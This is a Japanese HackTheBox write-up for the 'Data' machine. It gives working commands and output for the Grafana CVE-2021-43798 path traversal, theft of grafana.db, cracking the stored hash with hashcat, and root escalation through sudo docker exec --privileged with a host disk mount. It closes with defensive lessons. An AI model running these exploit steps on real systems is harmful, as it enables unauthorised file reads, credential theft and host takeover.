HackTheBox: Data — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 3000/Grafana
→
22/ssh, 3000/Grafana
CVE-2021-43798
path traversal (mysql plugin)
→
path traversal (mysql plugin)
/etc/hostname 窃取
Docker コンテナID判明
→
Docker コンテナID判明
grafana.db 窃取
sqlite3, boris ハッシュ+salt
→
sqlite3, boris ハッシュ+salt
hashcat -m 10900
rockyou.txt → beautiful1
→
rockyou.txt → beautiful1
SSH boris
user.txt ✓
→
user.txt ✓
sudo docker exec
NOPASSWD /snap/bin/docker exec *
→
NOPASSWD /snap/bin/docker exec *
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.234.47
RESULT
PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned in 138.64 seconds
BASH
nmap -sV -sC -p 22,3000 10.129.234.47
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Grafana http
| http-title: Grafana
|_Requested resource was /login
|_http-trane-info: Problem with XML parsing of /evox/about
🚨
ポート3000に Grafana が稼働。バナーだけではバージョンが分からないため、
/api/health または HTML の静的アセットパス(grafana.dark.<hash>.cssなど)
からビルドバージョンを特定する必要がある。本インスタンスは Grafana 8.0.0 で、
既知の CVE-2021-43798(任意ファイル読み取りパストラバーサル)が有効だった。
PHASE 2
Grafana 8.0.0 — CVE-2021-43798 パストラバーサル
脆弱性の仕組み
NOTE
Grafana < 8.0.7 / < 8.1.1 等の静的アセット配信エンドポイント
GET /public/plugins/<plugin-id>/../../../../../../../../<path>
は、プラグインIDディレクトリ配下からの相対パスを正規化せずにファイル読み取りへ渡してしまう。
事前にインストールされている既知プラグイン(データソース)のIDを指定する必要があり、
Grafana OSSに標準で同梱される "mysql" プラグインが最も確実(zipkin等は未インストールの
インスタンスも多い)。curl はデフォルトで ".." を正規化して消してしまうため、
--path-as-is オプションを必ず指定する。
/etc/hostname を読み取り — Dockerコンテナ ID を特定
BASH
curl -s --path-as-is --max-time 15 \ "http://10.129.234.47:3000/public/plugins/mysql/../../../../../../../../etc/hostname"
RESULT
e6ff5b1cbc85
ℹ️
Grafana自体がDockerコンテナ内で動作しているため、
/etc/hostnameは
コンテナの短縮IDを返す。これを後の権限昇格(docker exec対象の
コンテナ特定)にそのまま使い回せる — docker psを実行する権限が無いユーザーでも
コンテナIDを事前に知ることができる一石二鳥のトリック。
PHASE 3
grafana.db 窃取 & PBKDF2 ハッシュクラック
同じトラバーサルで grafana.db (sqlite3) を丸ごとダウンロード
BASH
curl -s --path-as-is --max-time 20 \ "http://10.129.234.47:3000/public/plugins/mysql/../../../../../../../../var/lib/grafana/grafana.db" \ --output grafana.db
RESULT
grafana.db 窃取成功 (598016 bytes)
user テーブルから login / password / salt を抽出
BASH
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
RESULT
boris|<100-hex-char PBKDF2 digest>|<16-hex-char salt>
ℹ️
Grafana は PBKDF2-HMAC-SHA256, iterations=10000, dklen=50(50バイト=100hex文字の
ダイジェスト)でパスワードをハッシュ化する。hashcat の
-m 10900 フォーマット行は
sha256:10000:base64(salt):base64(unhexlify(password)) の形式で組み立てる
(randsカラムは存在するがこのフォーマットでは不使用)。
hashcat -m 10900 でクラック
BASH
hashcat -a 0 -m 10900 data_grafana.hash /usr/share/wordlists/rockyou.txt --quiet hashcat -a 0 -m 10900 data_grafana.hash /usr/share/wordlists/rockyou.txt --show
RESULT
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
✅
クラック成功:
boris:beautiful1。
(2026-08-02の初回検証と2026-10-31の再検証の両方で、この認証情報・ソルトは完全に同一だった —
インスタンスの環境構成部分は固定、flag本体のみが再スポーンごとに変わる。)
PHASE 4
SSH ログイン & user.txt 取得
boris:beautiful1 で SSH 接続
BASH
sshpass -p beautiful1 ssh boris@10.129.234.47 id sshpass -p beautiful1 ssh boris@10.129.234.47 cat /home/boris/user.txt
RESULT
uid=1001(boris) gid=1001(boris) groups=1001(boris)
51a252d2c16c263147e7bbc56542aade
user.txt — boris
51a252d2c16c263147e7bbc56542aade
PHASE 5
sudo docker exec 権限昇格の下調べ
sudo -l で許可されたコマンドを確認
BASH
sudo -l
RESULT
User boris may run the following commands on data:
(root) NOPASSWD: /snap/bin/docker exec *
🚨
docker exec を root として無制限に実行できる — --privilegedオプションを
自分で指定して任意コンテナに入れるため、ホスト側のブロックデバイスを
コンテナ内でマウントして読み取ることで、コンテナの隔離を完全にバイパスできる。
PHASE 6
–privileged docker exec でホストブロックデバイスをマウント → root.txt
コンテナIDを使って特権コンテナに入り、ホストの /dev/sda1 をマウント
BASH
sudo /snap/bin/docker exec -u root --privileged e6ff5b1cbc85 sh -c ' mkdir -p /mnt_priv 2>/dev/null umount /mnt_priv 2>/dev/null mount /dev/sda1 /mnt_priv 2>/dev/null && cat /mnt_priv/root/root.txt '
RESULT
166bdaf62a8b8a380d32094eb0f4cf7d
✅
root.txt取得成功! Phase 2 で
/etc/hostname から漏洩させたコンテナID
(e6ff5b1cbc85) をそのまま流用。--privileged フラグ付きで
docker exec すると、コンテナ内プロセスがホストの未割当ブロックデバイス
(/dev/sda1) へ直接 mount できてしまい、ホストのルートファイルシステムを
コンテナ越しに読み取れる — Docker隔離の典型的な突破パターン。
ℹ️
環境依存の注意: ホスト側の実ブロックデバイス名はクラウドプロバイダ/インスタンス
構成によって異なる場合がある(
/dev/xvda1, /dev/nvme0n1p1,
/dev/vda1, /dev/sdb1 等)。このインスタンスでは
/dev/sda1 が即座に正しいデバイスだった(2026-08-02、2026-10-31 の両検証で一致)。
root.txt — host root
166bdaf62a8b8a380d32094eb0f4cf7d
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — boris
51a252d2c16c263147e7bbc56542aade
root.txt — host root
166bdaf62a8b8a380d32094eb0f4cf7d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2021-43798 | Grafana 8.0.0 | 任意ファイル読み取り(認証不要) | Critical | /public/plugins/mysql/../../..(省略)/<path> で /etc/hostname と grafana.db を読み取り |
| PBKDF2弱パスワード | Grafana user テーブル (boris) | 認証情報クラック | High | hashcat -m 10900 + rockyou.txt で beautiful1 を復元 |
| sudoers設定ミス + –privileged docker exec | /snap/bin/docker (NOPASSWD) | 権限昇格(コンテナ越しホストroot奪取) | High | 特権コンテナ内からホストの未マウントブロックデバイスを直接mountして読み取り |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/ssh, 3000/Grafana http |
| 2 | パストラバーサル | CVE-2021-43798 (–path-as-is, mysqlプラグイン) | /etc/hostname → コンテナID e6ff5b1cbc85 |
| 3 | DB窃取+クラック | grafana.db exfil → sqlite3 → hashcat -m 10900 | boris:beautiful1 |
| 4 | SSHログイン | sshpass + ssh | user.txt 取得 |
| 5 | 権限調査 | sudo -l | NOPASSWD /snap/bin/docker exec * を確認 |
| 6 | 権限昇格 | –privileged docker exec + mount /dev/sda1 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Grafana 8.0.0 に既知の重大パストラバーサル (CVE-2021-43798) が存在 | Grafana を 8.0.7 / 8.1.1 以降へ即座にアップグレードする。インターネット非公開のBIサービスは必ず認証プロキシの背後に置く。 |
| PBKDF2設定自体は妥当だが、ユーザーが弱いパスワード(辞書に載る値)を使用 | 強制的なパスワード強度ポリシー、既知流出パスワードとの照合、MFAの導入。 |
| sudoers に /snap/bin/docker exec を無制限委譲(NOPASSWDかつワイルドカード引数) | docker execの委譲は特定コンテナ・特定コマンドに限定し、–privilegedを渡せないようラッパースクリプト経由にする。root権限でのdocker操作そのものを可能な限り避ける。 |
| コンテナに–privilegedを許可すると、ホストの生ブロックデバイスへの直接アクセスが可能になりコンテナ隔離が無意味化する | –privilegedの使用を原則禁止し、必要な capability のみを個別に付与する(–cap-add)。Dockerデーモンソケット/特権実行権限は最小権限ユーザーに渡さない。 |

